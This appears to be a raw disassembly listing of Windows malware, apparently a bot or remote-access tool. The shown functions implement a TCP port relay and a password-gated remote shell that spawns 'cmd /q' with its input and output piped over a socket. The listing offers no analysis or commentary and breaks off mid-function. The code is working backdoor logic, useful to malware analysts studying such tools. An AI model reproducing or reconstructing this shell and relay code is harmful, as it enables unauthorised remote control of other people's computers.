var_28 = byte ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = byte ptr -18h Dst = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_150] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_44] call dword_4E4220 ; htons push 6 push 1 push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi mov [ebp+var_4], edi call dword_4E42A0 ; socket cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_410FCF mov ecx, [ebp+var_40] push 1 imul ecx, 234h push 401h push esi push eax mov dword_457134[ecx], eax call dword_4E4130 ; WSAAsyncSelect lea eax, [ebp+Dst] push edi push eax push [ebp+arg_0] call dword_4E424C ; bind test eax, eax jnz loc_410FCF push 0Ah push [ebp+arg_0] call dword_4E4248 ; listen test eax, eax jnz loc_410FCF loc_410F13: ; CODE XREF: sub_410E63+C6j ; sub_410E63+147j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] call dword_4E42B4 ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_410F13 movzx eax, [ebp+var_26] push [ebp+var_40] mov [ebp+var_14C], edi mov [ebp+var_30], esi push eax push [ebp+var_24] call dword_4E42AC ; inet_ntoa push eax lea eax, [ebp+Source] push offset asc_44BFEC ; "-" push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Source] push 18h ; int push eax ; Source call sub_40B78E mov [ebp+var_3C], eax imul eax, 234h mov ecx, [ebp+var_40] add esp, 20h mov dword_45712C[eax], ecx lea eax, [ebp+var_18] push eax lea eax, [ebp+var_150] push esi push eax push offset sub_410FF4 push esi push esi call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_3C] imul ecx, 234h cmp eax, esi mov dword_45713C[ecx], eax jz short loc_410FBA loc_410FA7: ; CODE XREF: sub_410E63+155j cmp [ebp+var_30], esi jnz loc_410F13 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_410FA7 ; --------------------------------------------------------------------------- loc_410FBA: ; CODE XREF: sub_410E63+142j call ds:dword_4F6394 ; RtlGetLastWin32Error push eax ; Args push offset asc_44C034 ; "-" call sub_415CEB pop ecx pop ecx jmp short loc_410FD2 ; --------------------------------------------------------------------------- loc_410FCF: ; CODE XREF: sub_410E63+63j ; sub_410E63+97j ... mov edi, [ebp+arg_0] loc_410FD2: ; CODE XREF: sub_410E63+16Aj push edi call dword_4E42B8 ; closesocket push [ebp+arg_0] call dword_4E42B8 ; closesocket push [ebp+var_40] call sub_40BAAA pop ecx push esi call ds:dword_4F63D4 ; ExitThread pop edi pop esi sub_410E63 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410FF4 proc near ; DATA XREF: sub_410E63+124o var_1344 = byte ptr -1344h Source = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch Dst = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd mov ebx, [ebp+var_30] push 1 pop ecx mov [ebp+var_4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4E42A0 ; socket mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_4111AA push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_3C] call dword_4E4220 ; htons mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call dword_4E4260 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_411084 lea eax, [ebp+var_13C] push eax call dword_4E42A4 ; gethostbyname jmp short loc_411092 ; --------------------------------------------------------------------------- loc_411084: ; CODE XREF: sub_410FF4+7Fj push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4E41D8 ; gethostbyaddr loc_411092: ; CODE XREF: sub_410FF4+8Ej cmp eax, edi jz loc_4111AA mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax lea eax, [ebp+Dst] push eax push esi call dword_4E41C8 ; connect cmp eax, 0FFFFFFFFh jz loc_4111AA movzx eax, [ebp+var_16] push [ebp+var_34] mov [ebp+var_20], edi push eax push [ebp+var_14] call dword_4E42AC ; inet_ntoa push eax lea eax, [ebp+Source] push offset asc_44C070 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Source] push 18h ; int push eax ; Source call sub_40B78E imul ebx, 234h mov [ebp+var_30], eax imul eax, 234h mov ecx, [ebp+var_34] lea esi, dword_457134[ebx] mov dword_45712C[eax], ecx add esp, 20h mov ecx, [esi] mov dword_457138[eax], ecx lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_144] push edi push eax push offset sub_4111DB push edi push edi call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_30] imul ecx, 234h cmp eax, edi mov dword_45713C[ecx], eax jz short loc_411197 loc_411144: ; CODE XREF: sub_410FF4+15Dj cmp [ebp+var_20], edi jnz short loc_411153 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_411144 ; --------------------------------------------------------------------------- loc_411153: ; CODE XREF: sub_410FF4+153j mov ebx, 1000h loc_411158: ; CODE XREF: sub_410FF4+19Fj push ebx ; Size lea eax, [ebp+var_1344] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_1344] push edi push ebx push eax push dword ptr [esi] call dword_4E4238 ; recv cmp eax, edi jle short loc_4111AA push edi push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call dword_4E4270 ; send cmp eax, 0FFFFFFFFh jnz short loc_411158 jmp short loc_4111AA ; --------------------------------------------------------------------------- loc_411197: ; CODE XREF: sub_410FF4+14Ej call ds:dword_4F6394 ; RtlGetLastWin32Error push eax ; Args push offset asc_44C0B4 ; "-" call sub_415CEB pop ecx pop ecx loc_4111AA: ; CODE XREF: sub_410FF4+44j ; sub_410FF4+A0j ... mov eax, [ebp+var_4] imul eax, 234h push dword_457134[eax] call dword_4E42B8 ; closesocket push [ebp+arg_0] call dword_4E42B8 ; closesocket push [ebp+var_4] call sub_40BAAA pop ecx push edi call ds:dword_4F63D4 ; ExitThread pop edi pop esi pop ebx sub_410FF4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4111DB proc near ; DATA XREF: sub_410FF4+130o Dst = byte ptr -1128h var_128 = byte ptr -128h var_14 = dword ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1128h call __alloca_probe mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_128] rep movsd mov esi, [ebp+var_14] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_411212: ; CODE XREF: sub_4111DB+7Cj push edi ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push 0 push edi push eax push dword_457138[esi] call dword_4E4238 ; recv test eax, eax jle short loc_411259 push 0 push eax lea eax, [ebp+Dst] push eax push dword_457134[esi] call dword_4E4270 ; send cmp eax, 0FFFFFFFFh jnz short loc_411212 loc_411259: ; CODE XREF: sub_4111DB+61j push dword_457138[esi] call dword_4E42B8 ; closesocket push [ebp+var_14] call sub_40BAAA pop ecx push 0 call ds:dword_4F63D4 ; ExitThread pop edi pop esi sub_4111DB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411278 proc near ; DATA XREF: sub_411506+1BEo var_3D4 = byte ptr -3D4h Str1 = byte ptr -350h var_208 = dword ptr -208h var_1F4 = dword ptr -1F4h var_1F0 = dword ptr -1F0h var_F0 = byte ptr -0F0h Dest = byte ptr -0B0h var_4C = byte ptr -4Ch var_3C = byte ptr -3Ch Args = byte ptr -2Ch var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp+var_3D4] push 1 mov [ebp+var_C], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp+var_208] mov [ebp+arg_0], eax imul eax, 234h lea esi, dword_457134[eax] xor edi, edi mov [ebp+var_8], edi mov [ebp+var_1F4], ebx mov eax, [esi] mov [ebp+var_1F0], eax lea eax, [ebp+var_C] push eax push edi lea eax, [ebp+var_1F4] push edi push eax push edi call dword_4E4208 ; select test eax, eax jnz short loc_4112FC push dword ptr [esi] call dword_4E42B8 ; closesocket push [ebp+arg_0] call sub_40BAAA pop ecx push edi call ds:dword_4F63D4 ; ExitThread loc_4112FC: ; CODE XREF: sub_411278+6Aj push edi lea eax, [ebp+var_3C] push ebx push eax push dword ptr [esi] call dword_4E4238 ; recv lea eax, [ebp+Args] push 10h push eax push dword ptr [esi] call sub_41147D lea eax, [ebp+var_4C] push 10h push eax push dword ptr [esi] call sub_41147D lea eax, [ebp+var_F0] push 40h push eax push dword ptr [esi] call sub_41147D add esp, 24h lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_1C] push eax push dword ptr [esi] call dword_4E4174 ; getpeername test eax, eax jz short loc_411375 call dword_4E41B4 ; WSAGetLastError push eax ; Args push offset asc_44C0F4 ; "-" call sub_415CEB push [ebp+arg_0] call sub_40BAAA add esp, 0Ch push edi call ds:dword_4F63D4 ; ExitThread loc_411375: ; CODE XREF: sub_411278+D8j push 2 lea eax, [ebp+var_18] push 4 push eax call dword_4E41D8 ; gethostbyaddr cmp eax, edi jnz short loc_41139F push [ebp+var_18] call dword_4E42AC ; inet_ntoa push eax ; Format lea eax, [ebp+Dest] push eax ; Dest call _sprintf jmp short loc_4113AD ; --------------------------------------------------------------------------- loc_41139F: ; CODE XREF: sub_411278+10Dj push dword ptr [eax] ; Source lea eax, [ebp+Dest] push eax ; Dest call _strcpy loc_4113AD: ; CODE XREF: sub_411278+125j pop ecx pop ecx push edi push ebx push offset dword_4E6FC4 push dword ptr [esi] call dword_4E4270 ; send cmp dword_4E6FBC, edi jnz short loc_41140F push [ebp+var_18] lea eax, [ebp+Str1] push eax ; Str1 lea eax, [ebp+Dest] push eax ; int lea eax, [ebp+Args] push eax ; Args call sub_4114D7 add esp, 10h test eax, eax jnz short loc_41140F push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4E4270 ; send push dword ptr [esi] call dword_4E42B8 ; closesocket push [ebp+arg_0] call sub_40BAAA pop ecx push edi call ds:dword_4F63D4 ; ExitThread loc_41140F: ; CODE XREF: sub_411278+14Cj ; sub_411278+16Dj lea eax, [ebp+Dest] push eax lea eax, [ebp+Args] push eax ; Args push offset asc_44C134 ; "-" call sub_415CEB push [ebp+arg_0] call sub_41178E add esp, 10h test eax, eax jnz short loc_411456 call ds:dword_4F6394 ; RtlGetLastWin32Error push eax ; Args push offset asc_44C15C ; "-" call sub_415CEB push [ebp+arg_0] call sub_40BAAA add esp, 0Ch push ebx call ds:dword_4F63D4 ; ExitThread loc_411456: ; CODE XREF: sub_411278+1B9j lea eax, [ebp+Dest] push eax lea eax, [ebp+Args] push eax ; Args push offset asc_44C188 ; "-" call sub_415CEB push [ebp+arg_0] call sub_40BAAA add esp, 10h push edi call ds:dword_4F63D4 ; ExitThread sub_411278 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41147D proc near ; CODE XREF: sub_411278+9Ap ; sub_411278+A7p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4E4238 ; recv cmp eax, 1 jnz short loc_4114CD mov esi, [ebp+arg_4] loc_41149B: ; CODE XREF: sub_41147D+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_4114C2 test al, al jz short loc_4114D1 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4E4238 ; recv cmp eax, 1 jz short loc_41149B jmp short loc_4114CD ; --------------------------------------------------------------------------- loc_4114C2: ; CODE XREF: sub_41147D+27j push offset asc_44C1B4 ; "-" call sub_415CEB pop ecx loc_4114CD: ; CODE XREF: sub_41147D+19j ; sub_41147D+43j xor eax, eax jmp short loc_4114D4 ; --------------------------------------------------------------------------- loc_4114D1: ; CODE XREF: sub_41147D+2Bj push 1 pop eax loc_4114D4: ; CODE XREF: sub_41147D+52j pop esi leave retn sub_41147D endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_4114D7(char *Args,int,char *Str1) sub_4114D7 proc near ; CODE XREF: sub_411278+163p Args = dword ptr 4 arg_4 = dword ptr 8 Str1 = dword ptr 0Ch push [esp+Args] ; Str2 push [esp+4+Str1] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_411502 push [esp+arg_4] push [esp+4+Args] ; Args push offset dword_44C1E0 ; Format call sub_415CEB add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_411502: ; CODE XREF: sub_4114D7+11j push 1 pop eax retn sub_4114D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411506 proc near ; DATA XREF: sub_401CC7+2394o var_5DC = dword ptr -5DCh var_5A4 = byte ptr -5A4h Source = byte ptr -414h var_214 = dword ptr -214h Str = byte ptr -210h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_24 = byte ptr -24h Dst = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5A4h mov eax, [ebp+arg_0] push esi push edi push 78h pop ecx mov esi, eax lea edi, [ebp+var_214] push 1 rep movsd pop edi mov [eax+1DCh], edi lea eax, [ebp+var_5A4] push eax push 202h call dword_4E4190 ; WSAStartup xor esi, esi cmp eax, esi jz short loc_41155F push eax ; Args push offset asc_44C250 ; "-" call sub_415CEB push [ebp+var_4C] call sub_40BAAA add esp, 0Ch push edi call ds:dword_4F63D4 ; ExitThread loc_41155F: ; CODE XREF: sub_411506+3Aj push edi push offset loc_411784 call ds:dword_4F642C ; SetConsoleCtrlHandler test eax, eax jnz short loc_411598 call ds:dword_4F6394 ; RtlGetLastWin32Error push eax ; Args push offset asc_44C27C ; "-" call sub_415CEB pop ecx pop ecx call dword_4E4178 ; WSACleanup push [ebp+var_4C] call sub_40BAAA pop ecx push edi call ds:dword_4F63D4 ; ExitThread loc_411598: ; CODE XREF: sub_411506+67j push ebx push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_50] call dword_4E4220 ; htons push 6 push edi push 2 mov [ebp+var_1E], ax mov [ebp+var_1C], esi call dword_4E42A0 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_41170F mov eax, [ebp+var_4C] push 10h imul eax, 234h mov dword_457134[eax], ebx lea eax, [ebp+Dst] push eax push ebx call dword_4E424C ; bind test eax, eax jnz loc_41170F push 7FFFFFFFh push ebx call dword_4E4248 ; listen test eax, eax jnz loc_41170F push offset unk_44C2C0 mov [ebp+var_10], 0Ch mov [ebp+var_C], esi mov [ebp+var_8], esi call sub_415C77 pop ecx mov [ebp+arg_0], edi loc_411627: ; CODE XREF: sub_411506+15Aj ; sub_411506+1E4j lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_34] push eax push ebx call dword_4E42B4 ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz loc_411712 push [ebp+arg_0] lea eax, [ebp+arg_0] push eax push 8 push 0FFFFh push edi call dword_4E4200 ; setsockopt cmp eax, 0FFFFFFFFh jz short loc_411627 movzx eax, [ebp+var_32] push [ebp+var_4C] mov [ebp+var_38], esi push eax push [ebp+var_30] call dword_4E42AC ; inet_ntoa push eax lea eax, [ebp+Source] push offset asc_44C2FC ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Source] push eax call sub_415C77 push edi ; int lea eax, [ebp+Source] push 9 ; int push eax ; Source call sub_40B78E mov [ebp+var_48], eax imul eax, 234h mov ecx, [ebp+var_4C] add esp, 24h mov dword_45712C[eax], ecx lea eax, [ebp+var_24] push eax lea eax, [ebp+var_214] push esi push eax push offset sub_411278 lea eax, [ebp+var_10] push esi push eax call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_48] imul ecx, 234h cmp eax, esi mov dword_45713C[ecx], eax jz short loc_4116FA loc_4116E7: ; CODE XREF: sub_411506+1F2j cmp [ebp+var_38], esi jnz loc_411627 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_4116E7 ; --------------------------------------------------------------------------- loc_4116FA: ; CODE XREF: sub_411506+1DFj call ds:dword_4F6394 ; RtlGetLastWin32Error push eax ; Args push offset asc_44C340 ; "-" call sub_415CEB pop ecx pop ecx jmp short loc_411712 ; --------------------------------------------------------------------------- loc_41170F: ; CODE XREF: sub_411506+C8j ; sub_411506+ECj ... mov edi, [ebp+arg_0] loc_411712: ; CODE XREF: sub_411506+13Cj ; sub_411506+207j call dword_4E41B4 ; WSAGetLastError push eax lea eax, [ebp+Source] push offset asc_44C37C ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_3C], esi jnz short loc_411752 push esi ; int lea eax, [ebp+Source] push [ebp+var_40] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_214] ; int call sub_409D6C add esp, 14h loc_411752: ; CODE XREF: sub_411506+22Aj lea eax, [ebp+Source] push eax call sub_415C77 pop ecx push edi call dword_4E42B8 ; closesocket push ebx call dword_4E42B8 ; closesocket call dword_4E4178 ; WSACleanup push [ebp+var_4C] call sub_40BAAA pop ecx push esi call ds:dword_4F63D4 ; ExitThread pop ebx loc_411784: ; DATA XREF: sub_411506+5Ao xor eax, eax cmp [esp+5E0h+var_5DC], eax setz al retn sub_411506 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41178E proc near ; CODE XREF: sub_411278+1AFp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_4118DF imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_457134[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, ds:dword_4F6384 pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_411AB1 lea eax, [ebp+var_C] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+10h], eax jnz short loc_4117F9 call ds:dword_4F6394 ; RtlGetLastWin32Error push eax ; Args push offset asc_44C3B4 ; "-" call sub_415CEB or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_411833 ; --------------------------------------------------------------------------- loc_4117F9: ; CODE XREF: sub_41178E+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_411B63 lea eax, [ebp+var_C] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+14h], eax jnz short loc_41183A call ds:dword_4F6394 ; RtlGetLastWin32Error push eax ; Args push offset asc_44C3FC ; "-" call sub_415CEB pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call ds:dword_4F63B4 ; TerminateThread loc_411833: ; CODE XREF: sub_41178E+69j xor eax, eax jmp loc_4118DA ; --------------------------------------------------------------------------- loc_41183A: ; CODE XREF: sub_41178E+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 call ds:dword_4F6430 ; WaitForMultipleObjects sub eax, ebx jz short loc_411894 dec eax jz short loc_41188E dec eax jz short loc_41187A call ds:dword_4F6394 ; RtlGetLastWin32Error push eax ; Args push offset asc_44C444 ; "-" call sub_415CEB pop ecx pop ecx jmp short loc_4118A9 ; --------------------------------------------------------------------------- loc_41187A: ; CODE XREF: sub_41178E+D5j mov edi, ds:dword_4F63B4 push ebx push dword ptr [esi+14h] call edi ; TerminateThread push ebx push dword ptr [esi+10h] call edi ; TerminateThread jmp short loc_4118A9 ; --------------------------------------------------------------------------- loc_41188E: ; CODE XREF: sub_41178E+D2j push ebx push dword ptr [esi+10h] jmp short loc_411898 ; --------------------------------------------------------------------------- loc_411894: ; CODE XREF: sub_41178E+CFj push ebx push dword ptr [esi+14h] loc_411898: ; CODE XREF: sub_41178E+104j call ds:dword_4F63B4 ; TerminateThread push 1 push dword ptr [esi+8] call ds:dword_4F63F8 ; TerminateProcess loc_4118A9: ; CODE XREF: sub_41178E+EAj ; sub_41178E+FEj push dword ptr [esi+10h] mov edi, ds:dword_4F6370 call edi ; CloseHandle push dword ptr [esi+14h] call edi ; CloseHandle push dword ptr [esi+8] call edi ; CloseHandle push dword ptr [esi] call edi ; CloseHandle push dword ptr [esi+4] call edi ; CloseHandle push dword ptr [esi+0Ch] call dword_4E42B8 ; closesocket push esi ; Memory call _free pop ecx push 1 pop eax loc_4118DA: ; CODE XREF: sub_41178E+A7j pop edi pop esi pop ebx leave retn sub_41178E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4118DF proc near ; CODE XREF: sub_41178E+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h ; Size mov [ebp+var_4], edi mov [ebp+var_8], edi call _malloc mov esi, eax pop ecx cmp esi, edi jz loc_4119C9 mov ebx, ds:dword_4F6404 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx ; CreatePipe mov edi, ds:dword_4F6370 test eax, eax jnz short loc_411942 call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset unk_44C478 jmp short loc_411962 ; --------------------------------------------------------------------------- loc_411942: ; CODE XREF: sub_4118DF+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx ; CreatePipe test eax, eax jnz short loc_41196A call ds:dword_4F6394 ; RtlGetLastWin32Error push eax ; Args push offset asc_44C4B8 ; "-" loc_411962: ; CODE XREF: sub_4118DF+61j call sub_415CEB pop ecx jmp short loc_411998 ; --------------------------------------------------------------------------- loc_41196A: ; CODE XREF: sub_4118DF+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_4119D8 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi ; CloseHandle push [ebp+var_8] call edi ; CloseHandle cmp dword ptr [esi+8], 0 jnz short loc_4119CD push offset unk_44C4F8 call sub_415C77 loc_411998: ; CODE XREF: sub_4118DF+89j cmp [ebp+var_4], 0 pop ecx jz short loc_4119A4 push [ebp+var_4] call edi ; CloseHandle loc_4119A4: ; CODE XREF: sub_4118DF+BEj cmp [ebp+var_8], 0 jz short loc_4119AF push [ebp+var_8] call edi ; CloseHandle loc_4119AF: ; CODE XREF: sub_4118DF+C9j mov eax, [esi] test eax, eax jz short loc_4119B8 push eax call edi ; CloseHandle loc_4119B8: ; CODE XREF: sub_4118DF+D4j mov eax, [esi+4] test eax, eax jz short loc_4119C2 push eax call edi ; CloseHandle loc_4119C2: ; CODE XREF: sub_4118DF+DEj push esi ; Memory call _free pop ecx loc_4119C9: ; CODE XREF: sub_4118DF+1Dj xor eax, eax jmp short loc_4119D3 ; --------------------------------------------------------------------------- loc_4119CD: ; CODE XREF: sub_4118DF+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_4119D3: ; CODE XREF: sub_4118DF+ECj pop edi pop esi pop ebx leave retn sub_4118DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4119D8 proc near ; CODE XREF: sub_4118DF+94p Dst = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst mov [ebp+var_4], esi call _memset push 10h ; Size lea eax, [ebp+var_14] push esi ; Val push eax ; Dst call _memset mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+Dst], edi mov edi, ds:dword_4F6400 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi ; GetCurrentProcess push eax push ebx call edi ; GetCurrentProcess push eax call ds:dword_4F63FC ; DuplicateHandle lea eax, [ebp+var_14] push eax lea eax, [ebp+Dst] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call ds:dword_4F6374 ; CreateProcessA test eax, eax jz short loc_411A94 mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_457130[eax], ecx call ds:dword_4F6370 ; CloseHandle jmp short loc_411AAA ; --------------------------------------------------------------------------- loc_411A94: ; CODE XREF: sub_4119D8+9Aj call ds:dword_4F6394 ; RtlGetLastWin32Error push eax ; Args push offset asc_44C528 ; "-" call sub_415CEB mov esi, [ebp+var_4] pop ecx pop ecx loc_411AAA: ; CODE XREF: sub_4119D8+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_4119D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411AB1 proc near ; DATA XREF: sub_41178E+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, ds:dword_4F63F0 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411ADA: ; CODE XREF: sub_411AB1+8Fj call ebx ; ReadFile test eax, eax jz short loc_411B42 xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_411B15 loc_411AEB: ; CODE XREF: sub_411AB1+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_411B05 cmp dl, 0Dh jz short loc_411B05 mov [ebp+eax+var_1B0], 0Dh inc eax loc_411B05: ; CODE XREF: sub_411AB1+44j ; sub_411AB1+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411AEB loc_411B15: ; CODE XREF: sub_411AB1+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4E4270 ; send test eax, eax jle short loc_411B42 lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411ADA ; --------------------------------------------------------------------------- loc_411B42: ; CODE XREF: sub_411AB1+2Dj ; sub_411AB1+79j mov esi, ds:dword_4F6394 call esi ; RtlGetLastWin32Error cmp eax, 6Dh jz short loc_411B5E call esi ; RtlGetLastWin32Error push eax ; Args push offset asc_44C560 ; "-" call sub_415CEB pop ecx pop ecx loc_411B5E: ; CODE XREF: sub_411AB1+9Cj pop edi pop esi pop ebx leave retn sub_411AB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411B63 proc near ; DATA XREF: sub_41178E+71o var_DC = 